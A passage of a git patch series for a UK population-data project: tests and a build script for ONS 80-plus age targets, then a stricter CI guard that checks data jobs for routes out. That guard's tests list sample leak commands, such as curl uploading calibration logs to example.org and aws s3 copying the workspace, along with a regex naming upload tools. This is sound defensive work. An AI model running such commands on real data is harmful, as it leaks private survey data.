+    assert targets[f"ons/{sex}_80_plus"].values[2025] == sum(
+        (age + 1) * multiplier for age in range(80, 101)
+    )
+
+
+@pytest.mark.parametrize("sex,label", [("female", "Females"), ("male", "Males")])
+def test_80_plus_matches_published_ons_2025_projection(sex, label):
+    projection = pd.read_csv(
+        Path(__file__).parent / "fixtures" / "ons_uk_population_2025.csv"
+    )
+    targets = {target.name: target for target in _parse_uk_totals(projection)}
+    # The fixture retains ONS's single ages 0-104 and terminal 105-109/110+.
+    older_ages = {str(age) for age in range(80, 105)} | {
+        "105 - 109",
+        "110 and over",
+    }
+    expected = projection.loc[
+        (projection.Sex == label) & projection.Age.isin(older_ages), "2025"
+    ].sum()
+    assert targets[f"ons/{sex}_80_plus"].values[2025] == expected
+
+
+@pytest.mark.parametrize("sex,label", [("female", "Females"), ("male", "Males")])
+@pytest.mark.parametrize(
+    "terminal_ages", [["89", "90+"], ["105 - 109", "110 and over"]]
+)
+def test_80_plus_target_includes_terminal_age_groups(sex, label, terminal_ages):
+    projection = pd.DataFrame(
+        {
+            "Sex": [label] * 4,
+            "Age": ["79", "80", *terminal_ages],
+            2025: [1, 2, 4, 8],
+        }
+    )
+    targets = {target.name: target for target in _parse_uk_totals(projection)}
+
+    assert targets[f"ons/{sex}_80_plus"].values[2025] == 14
+
+
+def test_emitted_age_target_names_respect_frs_top_code():
+    projection = pd.DataFrame(
+        {"Sex": ["Females", "Males"], "Age": [80, 80], 2025: [1, 1]}
+    )
+    targets = _parse_uk_totals(projection) + _parse_regional_from_csv()
+    top_bands = []
+    for target in targets:
+        if "_age_" not in target.name and not target.name.startswith(
+            ("ons/female_", "ons/male_")
+        ):
+            continue
+        low, high = target.name.rsplit("_", 2)[-2:]
+        assert int(low) <= 80, target.name
+        assert high == "plus" or int(high) < 80, target.name
+        if int(low) == 80:
+            top_bands.append(target.name)
+    assert len(top_bands) == 14  # Both sexes and all twelve regions.
+
+
+@pytest.mark.parametrize(
+    "name,expected",
+    [
+        ("ons/female_80_plus", [1, 1, 1, 0]),
+        ("ons/male_80_plus", [0, 1, 1, 1]),
+        ("ons/london_age_80_plus", [1, 1, 1, 1]),
+    ],
+)
+def test_80_plus_dispatch_counts_matching_household_members(name, expected):
+    household = np.array([0, 0, 1, 1, 2, 2, 3, 3])
+    gender = pd.Series(
+        ["FEMALE", "FEMALE", "MALE", "FEMALE", "MALE", "FEMALE", "MALE", "MALE"]
+    )
+    ctx = SimpleNamespace(
+        age=np.array([79, 80, 81, 100, 80, 80, 79, 85]),
+        region=pd.Series(
+            [
+                "LONDON",
+                "LONDON",
+                "LONDON",
+                "WALES",
+                "WALES",
+                "LONDON",
+                "LONDON",
+                "LONDON",
+            ]
+        ),
+        sim=SimpleNamespace(calculate=lambda variable: gender),
+        household_from_person=lambda values: np.bincount(household, weights=values),
+    )
+    target = Target(
+        name=name,
+        variable="age",
+        source="ons",
+        unit=Unit.COUNT,
+        values={2025: 1},
+        is_count=True,
+    )
+
+    np.testing.assert_array_equal(_compute_column(target, ctx, 2025), expected)
diff --git a/tools/ons_age_targets/README.md b/tools/ons_age_targets/README.md
new file mode 100644
index 00000000..7d223513
--- /dev/null
+++ b/tools/ons_age_targets/README.md
@@ -0,0 +1,56 @@
+# ONS age target sources
+
+`policyengine_uk_data/storage/regional_age_80_plus.csv` contains public population
+projection aggregates in persons. It contains no FRS data. Reproduce it from the
+repository root with the locked environment:
+
+```sh
+uv run python tools/ons_age_targets/build.py
+```
+
+Downloads are cached in `.job/`; SHA-256 checks pin the source files. The generator
+uses pandas, requests and openpyxl, which are already locked dependencies.
+
+The English regions use the [ONS 2022-based single-year subnational
+projection](https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1),
+five-year migration variant, published 24 June 2025. The [ONS release bulletin](https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/bulletins/subnationalpopulationprojectionsforengland/2022based)
+identifies this variant as the one aligned with the 2022-based principal national
+projection. For each of
+the 309 English local authorities, the extract sums ages 80 through 89 and the
+terminal `90 and over` group. The committed `storage/oa_crosswalk.csv.gz` maps all
+309 authorities unambiguously to the nine English regions. Summing those regions
+therefore reproduces the sum of all 309 authorities, without omitting or counting
+an authority twice. Published counts have three decimal places; the output retains
+that precision.
+
+Scotland, Wales and Northern Ireland use the ONS **2022-based principal national
+projections**, so all 12 regional 80+ targets have the same projection vintage and
+cover 2022–2029. Each country total sums both sexes at ages 80–104 and the terminal
+groups `105 - 109` and `110 and over`. The regional CSV includes the reference URL
+for each row. This replaces the legacy regional top-band values; it is a source
+refresh as well as a correction to the open-ended band definition. The lower
+regional age bands remain in `demographics.csv`.
+
+Pinned downloads, relative to
+`https://www.ons.gov.uk/file?uri=/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/`:
+
+| Source | Download suffix | SHA-256 |
+| --- | --- | --- |
+| English local authorities | `localauthoritiesinenglandz1/2022basedfiveyearmigrationvariantprojection/2022snpppopulationsyoa5yr.zip` | `171cd05fc753277388352c76abf8cc8b305ca537cd593a6e4467af7e8a8e4b5b` |
+| Scotland | `z5zippedpopulationprojectionsdatafilesscotland/2022based/sc.zip` | `6e0dc9250a9890680754ab501be56973c722a57950e4535c364fbc4494372b3d` |
+| Wales | `z4zippedpopulationprojectionsdatafileswales/2022based/wa.zip` | `32a7c2aacf9b3c945abeaa19a6d6d7aa62133f491bfca5a9700a393244a7b051` |
+| Northern Ireland | `z6zippedpopulationprojectionsdatafilesnorthernireland/2022based/ni.zip` | `69b006c2741943d97d153cd024e4b21ea94b52ef766efcde6bd737a400d95489` |
+
+The national targets continue to use the existing **2024-based UK principal
+projection**. The test fixture `policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv` preserves
+its complete `Sex`, `Age` and `2025` population columns, including `105 - 109` and
+`110 and over`. Its source ZIP is
+`z1zippedpopulationprojectionsdatafilesuk/2024based/uk.zip`, SHA-256
+`dea79703b9caddd560f1958b5a8ca12aa817b2396d244e6a2c775b1af7f48ab1`.
+
+The old regional rows first appeared in commit `c98c0ccf` (9 September 2024);
+`63dfba48` (10 June 2025) reformatted them without changing their values. Their
+reference `ons_age_sex_region` does not identify a projection vintage or extraction
+method. Their finite `80_89` names alone do not prove that their published values
+excluded 90+: the replacement uses directly reproducible sums rather than adding
+an estimated 90+ population to those legacy values.
diff --git a/tools/ons_age_targets/build.py b/tools/ons_age_targets/build.py
new file mode 100644
index 00000000..b29be1a5
--- /dev/null
+++ b/tools/ons_age_targets/build.py
@@ -0,0 +1,138 @@
+"""Reproduce the public ONS regional 80+ target extract (no survey data)."""
+
+import argparse
+import hashlib
+import io
+import zipfile
+from pathlib import Path
+
+import pandas as pd
+import requests
+
+ROOT = Path(__file__).resolve().parents[2]
+YEARS = [str(year) for year in range(2022, 2030)]
+ONS = "https://www.ons.gov.uk/file?uri=/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/"
+SOURCES = {
+    "regions": (
+        "localauthoritiesinenglandz1/2022basedfiveyearmigrationvariantprojection/2022snpppopulationsyoa5yr.zip",
+        "171cd05fc753277388352c76abf8cc8b305ca537cd593a6e4467af7e8a8e4b5b",
+    ),
+    "scotland": (
+        "z5zippedpopulationprojectionsdatafilesscotland/2022based/sc.zip",
+        "6e0dc9250a9890680754ab501be56973c722a57950e4535c364fbc4494372b3d",
+    ),
+    "wales": (
+        "z4zippedpopulationprojectionsdatafileswales/2022based/wa.zip",
+        "32a7c2aacf9b3c945abeaa19a6d6d7aa62133f491bfca5a9700a393244a7b051",
+    ),
+    "ni": (
+        "z6zippedpopulationprojectionsdatafilesnorthernireland/2022based/ni.zip",
+        "69b006c2741943d97d153cd024e4b21ea94b52ef766efcde6bd737a400d95489",
+    ),
+}
+REGIONS = {
+    "E12000001": "north_east",
+    "E12000002": "north_west",
+    "E12000003": "yorkshire_and_the_humber",
+    "E12000004": "east_midlands",
+    "E12000005": "west_midlands",
+    "E12000006": "east",
+    "E12000007": "london",
+    "E12000008": "south_east",
+    "E12000009": "south_west",
+}
+
+
+def aggregate_english_regions(
+    population: pd.DataFrame, crosswalk: pd.DataFrame
+) -> pd.DataFrame:
+    """Sum ages 80 through the terminal 90+ row in every English LA."""
+    lookup = crosswalk[["la_code", "region_code"]].drop_duplicates()
+    assert lookup.la_code.is_unique, "Local authorities have ambiguous regions"
+    ages = population.AGE_GROUP.astype(str).str.extract(r"^(\d+)")[0]
+    older = population.loc[pd.to_numeric(ages, errors="coerce") >= 80].copy()
+    assert set(older.AGE_GROUP) == {str(age) for age in range(80, 90)} | {"90 and over"}
+    older = older.merge(
+        lookup,
+        left_on="AREA_CODE",
+        right_on="la_code",
+        how="left",
+        validate="many_to_one",
+    )
+    assert older.region_code.notna().all(), "Some local authorities lack a region"
+    assert set(older.region_code) == set(REGIONS)
+    assert older.AREA_CODE.nunique() == 309
+    assert older.groupby("AREA_CODE").AGE_GROUP.nunique().eq(11).all()
+    result = older.groupby("region_code")[YEARS].sum().round(3)
+    assert result.sum().round(3).equals(older[YEARS].sum().round(3))
+    result.index = result.index.map(REGIONS)
+    return result
+
+
+def aggregate_country(population: pd.DataFrame) -> pd.Series:
+    """Include all single years and terminal age groups from 80 upwards."""
+    ages = population.Age.astype(str).str.extract(r"^(\d+)")[0]
+    older = population.loc[
+        (pd.to_numeric(ages, errors="coerce") >= 80)
+        & population.Sex.isin(["Females", "Males"])
+    ]
+    assert {"105 - 109", "110 and over"}.issubset(set(older.Age.astype(str)))
+    older = older.rename(columns=lambda column: str(column))
+    return older[YEARS].sum()
+
+
+def build(source_dir: Path, output: Path) -> None:
+    """Download pinned public sources and save their exact published sums."""
+    source_dir.mkdir(parents=True, exist_ok=True)
+    for name, (suffix, expected_sha256) in SOURCES.items():
+        path = source_dir / f"ons-{name}-2022.zip"
+        if not path.exists():
+            response = requests.get(
+                ONS + suffix,
+                headers={
+                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
+                },
+                timeout=120,
+            )
+            response.raise_for_status()
+            path.write_bytes(response.content)
+        assert hashlib.sha256(path.read_bytes()).hexdigest() == expected_sha256
+
+    with zipfile.ZipFile(source_dir / "ons-regions-2022.zip") as archive:
+        population = pd.read_csv(archive.open("2022 SNPP Population persons.csv"))
+    crosswalk = pd.read_csv(ROOT / "policyengine_uk_data/storage/oa_crosswalk.csv.gz")
+    totals = aggregate_english_regions(population, crosswalk)
+    for country, prefix in [("scotland", "sc"), ("wales", "wa"), ("ni", "ni")]:
+        with zipfile.ZipFile(source_dir / f"ons-{country}-2022.zip") as archive:
+            population = pd.read_excel(
+                io.BytesIO(
+                    archive.read(f"{prefix}/{prefix}_ppp_machine_readable.xlsx")
+                ),
+                sheet_name="Population",
+                engine="openpyxl",
+            )
+        totals.loc["northern_ireland" if country == "ni" else country] = (
+            aggregate_country(population)
+        )
+    totals.index = [f"{region}_age_80_plus" for region in totals.index]
+    totals.index.name = "name"
+    reference_base = "https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/"
+    totals["reference_url"] = reference_base + "localauthoritiesinenglandz1"
+    for country in ["scotland", "wales", "ni"]:
+        region = "northern_ireland" if country == "ni" else country
+        totals.loc[f"{region}_age_80_plus", "reference_url"] = (
+            reference_base + SOURCES[country][0].split("/")[0]
+        )
+    totals.sort_index().to_csv(output, float_format="%.3f")
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--source-dir", type=Path, default=ROOT / ".job")
+    parser.add_argument(
+        "--output",
+        type=Path,
+        default=ROOT / "policyengine_uk_data/storage/regional_age_80_plus.csv",
+    )
+    args = parser.parse_args()
+    build(args.source_dir, args.output)

From 449a51975d725191a5a830f6d2223e50f574c3da Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 15:18:31 -0400
Subject: [PATCH 37/76] Close three bypasses in the data-job guard (Sol
 re-review of #603)

- Set-up actions are reviewed for their inputs: setup-uv can't be pointed
  at the workspace or have its cache turned on explicitly.
- A reviewed publishing command must be a whole logical line, with
  continuations joined, so it can't excuse another command on its line.
- A job is a data job when it or its workflow uses any secret other than
  the GitHub token, or passes secrets on; the versioning job's commit is
  reviewed with its exact inputs.
- Producers must appear in an earlier run step outside a comment, and the
  docstring states what the check does not establish.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_workflow_artifacts.py          | 316 ++++++++++++++----
 1 file changed, 252 insertions(+), 64 deletions(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index dcbc463d..1cfea7c5 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -1,27 +1,34 @@
-"""Nothing built from the microdata leaves CI unless it has been reviewed.
+"""A regression check on the routes out of CI jobs that can reach the microdata.
 
 The raw calibration logs hold each target's weighted estimate, nationally and
 for every constituency and local authority, with no small-cell control. A
 target supported by a few households, divided by a published count, could
 give one household's value back, and this repository's Actions artifacts are
-public. So the check is fail-closed rather than a list of forbidden names:
-
-- A job **can reach the data** when it holds a data credential (the Hugging
-  Face token or Google Cloud auth) or downloads artifacts that another job
-  uploaded.
-- In such a job, every action must be on ``NON_PUBLISHING_ACTIONS`` or be an
-  artifact upload. Every upload must name literal files reviewed for that job
-  in ``REVIEWED``: no directories, globs or expressions. Every run step that
-  matches ``PUBLISH_COMMAND`` must use a command reviewed for that job.
-- Jobs that cannot reach the data (docs, versioning, changelog) may publish;
-  they hold nothing built from it.
-
-Two parts rest on review rather than on the check:
-
-- ``PUBLISH_COMMAND`` lists known shell routes out of a runner, so a new kind of
-  command needs adding.
-- A reviewed file's producer pattern shows that the job runs its summarising
-  command. It does not prove that nothing overwrites the file afterwards.
+public.
+
+What the check does:
+
+- A job **can reach the data** when it, or its workflow, uses any secret
+  other than the GitHub token (presumed a data credential whatever it is
+  called), passes secrets on, signs in to Google Cloud, or downloads
+  artifacts.
+- In such a job, every action must be reviewed for the inputs it is given
+  (``REVIEWED_ACTIONS``), so a set-up action can't be pointed at the
+  workspace. Every artifact upload must name literal files reviewed for that
+  job in ``REVIEWED``: no directories, globs, exclusions or expressions.
+  Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command
+  reviewed for that job.
+- Jobs that can't reach the data (docs, changelog) may publish.
+
+What it does not do (Sol re-review of #603): it recognises reviewed workflow
+shapes through secret, action and command names and explicit artifact
+downloads. It restricts declared actions, artifact path strings and known
+literal publishing commands. It does not establish data provenance or inspect
+script, composite, reusable-workflow, container or service behaviour, shell
+expansion, step summaries or job outputs. Producer patterns establish text
+presence in an earlier run step, not execution, ordering at run time, that
+the path is a regular file, or that its contents are disclosure-controlled.
+Changes to any of these routes need human review.
 """
 
 from __future__ import annotations
@@ -36,30 +43,55 @@
 WORKFLOW_DIR = Path(__file__).parents[2] / ".github" / "workflows"
 WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml"))
 
-DATA_CREDENTIALS = ("HUGGING_FACE_TOKEN", "google-github-actions/auth")
-
-# Actions that publish nothing: set-up, checkout, sign-in and reading
-# artifacts. setup-uv caches Python packages, not datasets.
-NON_PUBLISHING_ACTIONS = {
-    "actions/checkout",
-    "actions/setup-python",
-    "actions/setup-node",
-    "astral-sh/setup-uv",
-    "google-github-actions/auth",
-    "actions/create-github-app-token",
-    "actions/download-artifact",
+# Any secret but these is presumed to reach the data.
+NON_DATA_SECRETS = ("secrets.GITHUB_TOKEN",)
+_SECRET = re.compile(r"secrets\.[A-Za-z_][A-Za-z0-9_]*")
+DATA_ACTIONS = ("google-github-actions/auth",)
+
+# Actions that publish nothing when given only these inputs. setup-uv
+# caches Python packages, not datasets; its cache-path inputs are not
+# reviewed, so pointing its cache at the workspace fails (Sol re-review of
+# #603, finding 1). ``enable-cache`` may only turn caching off.
+REVIEWED_ACTIONS = {
+    "actions/checkout": {
+        "fetch-depth",
+        "sparse-checkout",
+        "sparse-checkout-cone-mode",
+        "token",
+        "ref",
+        "repository",
+        "path",
+        "persist-credentials",
+    },
+    "actions/setup-python": {"python-version"},
+    "actions/setup-node": {"node-version"},
+    "astral-sh/setup-uv": {"version", "python-version", "enable-cache"},
+    "google-github-actions/auth": {"service_account", "workload_identity_provider"},
+    "actions/create-github-app-token": {"app-id", "private-key"},
+    "actions/download-artifact": {"name", "path", "pattern", "merge-multiple"},
 }
 
 # Reviewed routes out of each job that can reach the data:
-# (workflow file, job id) -> artifact paths it may upload, mapped to a
-# pattern its run steps must contain to produce that file from a
-# disclosure-controlled summary, and the publishing commands it may run.
+# (workflow file, job id) -> artifact paths it may upload, each mapped to a
+# pattern an earlier run step must contain to produce it; the publishing
+# commands it may run, each a whole line; and actions reviewed for this job
+# only, with their exact inputs.
 REVIEWED = {
     ("push.yaml", "test"): {
         "artifacts": {},
         # Private Hugging Face and GCS datasets (upload_completed_datasets.py,
-        # data controller's destinations), then the release tag.
+        # the data controller's destinations), then the release tag.
         "commands": ("uv run --frozen make upload", ".github/publish-git-tag.sh"),
+        "actions": {},
+    },
+    ("versioning.yaml", "Versioning"): {
+        "artifacts": {},
+        "commands": (),
+        # Commits the version bump. Its secrets are the GitHub app's, and the
+        # job builds no data and downloads nothing.
+        "actions": {
+            "EndBug/add-and-commit": {"add": ".", "message": "Update package version"}
+        },
     },
 }
 
@@ -69,18 +101,37 @@
     r"|\baws s3\b|\bgsutil\b|\bgcloud storage\b|huggingface-cli|\bhf upload\b|\btwine\b"
 )
 _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{")
+_EMPTY = {"artifacts": {}, "commands": (), "actions": {}}
 
 
 def _jobs(workflow: dict) -> dict:
     return workflow.get("jobs") or {}
 
 
-def reaches_data(job: dict) -> bool:
+def _triggers(workflow: dict) -> dict:
+    # YAML reads a bare ``on:`` key as True.
+    on = workflow.get("on", workflow.get(True)) or {}
+    return on if isinstance(on, dict) else {}
+
+
+def _uses_data_secret(text: str) -> bool:
+    return any(s not in NON_DATA_SECRETS for s in _SECRET.findall(text))
+
+
+def reaches_data(job: dict, workflow: dict | None = None) -> bool:
+    workflow = workflow or {}
+    shared = yaml.safe_dump(
+        {"env": workflow.get("env"), "defaults": workflow.get("defaults")}
+    )
+    call = _triggers(workflow).get("workflow_call") or {}
+    if _uses_data_secret(shared) or (isinstance(call, dict) and call.get("secrets")):
+        return True
     text = yaml.safe_dump(job)
-    if any(credential in text for credential in DATA_CREDENTIALS):
+    if "secrets" in job or _uses_data_secret(text):
         return True
     return any(
-        str(step.get("uses", "")).startswith("actions/download-artifact")
+        str(step.get("uses", "")).split("@", 1)[0]
+        in DATA_ACTIONS + ("actions/download-artifact",)
         for step in job.get("steps", [])
     )
 
@@ -89,23 +140,45 @@ def _action(uses: str) -> str:
     return uses.split("@", 1)[0]
 
 
+def logical_lines(script: str) -> list:
+    """Shell lines with backslash continuations joined."""
+    out, pending = [], ""
+    for line in script.splitlines():
+        if line.rstrip().endswith("\\"):
+            pending += line.rstrip()[:-1] + " "
+            continue
+        out.append((pending + line).strip())
+        pending = ""
+    if pending:
+        out.append(pending.strip())
+    return [line for line in out if line]
+
+
+def _code(script: str) -> str:
+    """A run script without comment lines."""
+    return "\n".join(
+        line for line in logical_lines(script) if not line.lstrip().startswith("#")
+    )
+
+
 def problems(name: str, workflow: dict) -> list:
     """Every unreviewed route out of a job of ``workflow`` that can reach the data."""
     out = []
     for job_id, job in _jobs(workflow).items():
-        if not reaches_data(job):
+        if not reaches_data(job, workflow):
             continue
         where = f"{name} job {job_id}"
-        reviewed = REVIEWED.get((name, job_id), {"artifacts": {}, "commands": ()})
+        reviewed = {**_EMPTY, **REVIEWED.get((name, job_id), {})}
         if "uses" in job:
             out.append(f"{where} calls a reusable workflow ({job['uses']})")
-        runs = "\n".join(str(s.get("run", "")) for s in job.get("steps", []))
+        earlier = []  # run steps before the current one, comments removed
         for step in job.get("steps", []):
             uses = str(step.get("uses", ""))
+            inputs = step.get("with") or {}
             if uses:
                 action = _action(uses)
                 if action == "actions/upload-artifact":
-                    path = str((step.get("with") or {}).get("path", ""))
+                    path = str(inputs.get("path", ""))
                     entries = [p.strip() for p in path.splitlines() if p.strip()]
                     if not entries:
                         out.append(f"{where} uploads an artifact with no path")
@@ -118,19 +191,39 @@ def problems(name: str, workflow: dict) -> list:
                             out.append(f"{where} uploads a directory: {entry!r}")
                         elif entry not in reviewed["artifacts"]:
                             out.append(f"{where} uploads an unreviewed file: {entry!r}")
-                        elif not re.search(reviewed["artifacts"][entry], runs):
+                        elif not re.search(
+                            reviewed["artifacts"][entry], "\n".join(earlier)
+                        ):
                             out.append(
-                                f"{where} uploads {entry!r} without its reviewed producer"
+                                f"{where} uploads {entry!r} without its reviewed "
+                                "producer in an earlier run step"
                             )
-                elif action not in NON_PUBLISHING_ACTIONS:
+                elif action in reviewed["actions"]:
+                    if dict(inputs) != reviewed["actions"][action]:
+                        out.append(
+                            f"{where} gives {action} inputs other than the reviewed ones"
+                        )
+                elif action in REVIEWED_ACTIONS:
+                    extra = set(inputs) - REVIEWED_ACTIONS[action]
+                    if extra:
+                        out.append(
+                            f"{where} gives {action} unreviewed inputs: "
+                            + ", ".join(sorted(extra))
+                        )
+                    if action == "astral-sh/setup-uv" and inputs.get(
+                        "enable-cache", False
+                    ) not in (False, "false"):
+                        out.append(f"{where} turns setup-uv's cache on explicitly")
+                else:
                     out.append(f"{where} uses an unreviewed action: {uses}")
-            for line in str(step.get("run", "")).splitlines():
-                if PUBLISH_COMMAND.search(line) and not any(
-                    command in line for command in reviewed["commands"]
-                ):
+            script = str(step.get("run", ""))
+            for line in logical_lines(script):
+                if PUBLISH_COMMAND.search(line) and line not in reviewed["commands"]:
                     out.append(
-                        f"{where} runs an unreviewed publishing command: {line.strip()!r}"
+                        f"{where} runs an unreviewed publishing command: {line!r}"
                     )
+            if script and step.get("if") not in (False, "false", "${{ false }}"):
+                earlier.append(_code(script))
     return out
 
 
@@ -148,12 +241,15 @@ def test_no_unreviewed_route_out_of_a_job_that_can_reach_the_data(workflow):
     assert problems(workflow.name, _load(workflow)) == []
 
 
-def test_the_dataset_building_jobs_are_recognised():
-    pull_request = _jobs(_load(WORKFLOW_DIR / "pull_request.yaml"))
-    push = _jobs(_load(WORKFLOW_DIR / "push.yaml"))
-    docs = _jobs(_load(WORKFLOW_DIR / "docs.yaml"))
-    assert reaches_data(pull_request["test"]) and reaches_data(push["test"])
-    assert not reaches_data(docs["build-and-deploy"])
+def test_the_jobs_that_can_reach_the_data_are_recognised():
+    def job(name, job_id):
+        workflow = _load(WORKFLOW_DIR / name)
+        return reaches_data(_jobs(workflow)[job_id], workflow)
+
+    assert job("pull_request.yaml", "test") and job("push.yaml", "test")
+    assert job("versioning.yaml", "Versioning")  # a GitHub app's secrets
+    assert not job("docs.yaml", "build-and-deploy")
+    assert not job("push.yaml", "gate")  # the GitHub token only
 
 
 def test_every_reviewed_entry_names_a_real_job():
@@ -172,10 +268,10 @@ def test_every_reviewed_entry_names_a_real_job():
 }
 
 
-def _with_step(*steps: dict) -> list:
+def _with_step(*steps: dict, workflow_extra=None) -> list:
     job = copy.deepcopy(DATA_JOB)
     job["steps"] += list(steps)
-    return problems("example.yaml", {"jobs": {"build": job}})
+    return problems("example.yaml", {**(workflow_extra or {}), "jobs": {"build": job}})
 
 
 def test_the_clean_data_job_passes():
@@ -219,12 +315,88 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path):
         {"run": "curl -T la_calibration_log.csv https://example.org/"},
         {"run": "aws s3 cp . s3://bucket --recursive"},
         {"run": "git push origin HEAD:logs"},
+        {"run": "curl \\\n  -T la_calibration_log.csv \\\n  https://example.org/"},
     ],
 )
 def test_other_routes_out_of_a_data_job_fail(step):
     assert _with_step(step)
 
 
+@pytest.mark.parametrize(
+    "inputs",
+    [
+        {"cache-local-path": ".", "enable-cache": True, "cache-suffix": "x"},
+        {"cache-local-path": "."},
+        {"enable-cache": True},
+        {"cache-dependency-glob": "**/*.csv"},
+    ],
+)
+def test_a_set_up_action_pointed_at_the_workspace_fails(inputs):
+    """Sol re-review of #603, finding 1: setup-uv's post step saves its cache."""
+    assert _with_step({"uses": "astral-sh/setup-uv@v8.1.0", "with": inputs})
+
+
+def test_turning_setup_uvs_cache_off_passes():
+    step = {"uses": "astral-sh/setup-uv@v8.1.0", "with": {"enable-cache": False}}
+    assert _with_step(step) == []
+
+
+@pytest.mark.parametrize(
+    "script",
+    [
+        "uv run --frozen make upload; curl -T constituency_calibration_log.csv https://x/",
+        "uv run --frozen make upload && gh release upload v1 log.csv",
+        "# uv run --frozen make upload\ncurl -T log.csv https://x/",
+    ],
+)
+def test_a_reviewed_command_does_not_excuse_another_on_its_line(script, monkeypatch):
+    """Sol re-review of #603, finding 2: a reviewed command is a whole line."""
+    monkeypatch.setitem(
+        REVIEWED,
+        ("example.yaml", "build"),
+        {**_EMPTY, "commands": ("uv run --frozen make upload",)},
+    )
+    assert _with_step({"run": script})
+    assert _with_step({"run": "uv run --frozen make upload"}) == []
+
+
+def test_a_workflow_level_credential_makes_every_job_a_data_job():
+    """Sol re-review of #603, finding 3."""
+    job = {
+        "steps": [
+            {"run": "uv run --frozen make data"},
+            _upload("constituency_calibration_log.csv"),
+        ]
+    }
+    workflow = {
+        "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"},
+        "jobs": {"sneaky": job},
+    }
+    assert reaches_data(job, workflow)
+    assert problems("example.yaml", workflow)
+
+
+@pytest.mark.parametrize(
+    "job",
+    [
+        {"env": {"GH_TOKEN": "${{ secrets.ANY_NAME }}"}, "steps": []},
+        {"uses": "org/repo/.github/workflows/build.yaml@main", "secrets": "inherit"},
+        {"steps": [{"uses": "google-github-actions/auth@v3"}]},
+        {"steps": [{"uses": "actions/download-artifact@v8"}]},
+    ],
+)
+def test_any_secret_or_data_route_makes_a_data_job(job):
+    """A secret's name doesn't say what it can read."""
+    assert reaches_data(job)
+
+
+def test_a_job_with_only_the_github_token_is_not_a_data_job():
+    job = {"env": {"GH_TOKEN": "${{ github.token }}"}, "steps": []}
+    assert not reaches_data(job)
+    job = {"env": {"GH_TOKEN": "${{ secrets.GITHUB_TOKEN }}"}, "steps": []}
+    assert not reaches_data(job)
+
+
 def test_a_reusable_workflow_in_a_data_job_fails():
     job = copy.deepcopy(DATA_JOB)
     job["uses"] = "org/repo/.github/workflows/publish.yaml@main"
@@ -258,16 +430,32 @@ def test_a_job_without_data_may_publish():
     assert problems("example.yaml", {"jobs": {"docs": job}}) == []
 
 
-def test_a_reviewed_file_needs_its_producer(monkeypatch):
+def test_a_reviewed_action_needs_its_reviewed_inputs():
+    data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml"))
+    for step in _jobs(data)["Versioning"]["steps"]:
+        if str(step.get("uses", "")).startswith("EndBug/add-and-commit"):
+            step["with"]["add"] = "constituency_calibration_log.csv"
+    assert problems("versioning.yaml", data)
+
+
+@pytest.mark.parametrize(
+    "producer",
+    [
+        None,  # no producer at all
+        {"run": "# python -m tool summarise log.csv --out summary.json"},
+        {"run": "python -m tool summarise log.csv --out summary.json", "if": False},
+    ],
+)
+def test_a_reviewed_file_needs_its_producer_in_an_earlier_step(producer, monkeypatch):
     monkeypatch.setitem(
         REVIEWED,
         ("example.yaml", "build"),
-        {
-            "artifacts": {"summary.json": r"summarise \S+ --out summary\.json"},
-            "commands": (),
-        },
+        {**_EMPTY, "artifacts": {"summary.json": r"summarise \S+ --out summary\.json"}},
     )
+    steps = [producer] if producer else []
+    assert _with_step(*steps, _upload("summary.json"))
+    # The producer after the upload doesn't count either.
     produce = {"run": "python -m tool summarise log.csv --out summary.json"}
-    assert _with_step(_upload("summary.json"))
+    assert _with_step(_upload("summary.json"), produce)
     assert _with_step(produce, _upload("summary.json")) == []
     assert _with_step(produce, _upload("summary.json\nlog.csv"))

From 9f50a952b3954d540a9be49dfde24e927b99c9df Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 15:35:30 -0400
Subject: [PATCH 38/76] Publish only which targets are within 10% (Sol
 re-review of #599)

Per-target errors could not be published safely: the dataset repeats
households (output-area clones, SPI and CGT donors), so a row count is
not a respondent count, and one household can dominate a target. The fit
summary now holds only within-10% booleans, and a national target that
leaves the band on the head is flagged in place of an error rise of more
than 0.2. On the five same-code builds, 1 to 10 of 644 national targets
leave the band per pair (mean 4.5). The records column in the calibration
log is reverted.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/fit-comparison.added.md           |  2 +-
 .../local_areas/constituencies/calibrate.py   |  7 --
 policyengine_uk_data/targets/fit_policy.yaml  | 23 ++++--
 policyengine_uk_data/tests/test_fit_report.py | 59 +++++++------
 policyengine_uk_data/utils/fit_report.py      | 82 ++++++++-----------
 5 files changed, 83 insertions(+), 90 deletions(-)

diff --git a/changelog.d/fit-comparison.added.md b/changelog.d/fit-comparison.added.md
index b0a949fe..b996a583 100644
--- a/changelog.d/fit-comparison.added.md
+++ b/changelog.d/fit-comparison.added.md
@@ -1 +1 @@
-Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points over the targets both builds have (`targets/fit_policy.yaml`). National targets whose error rises by more than 0.2 are flagged in a pull request comment. The raw calibration logs stay on the runner; only a disclosure-controlled fit summary is uploaded (`python -m policyengine_uk_data.utils.fit_report summarise` and `compare`).
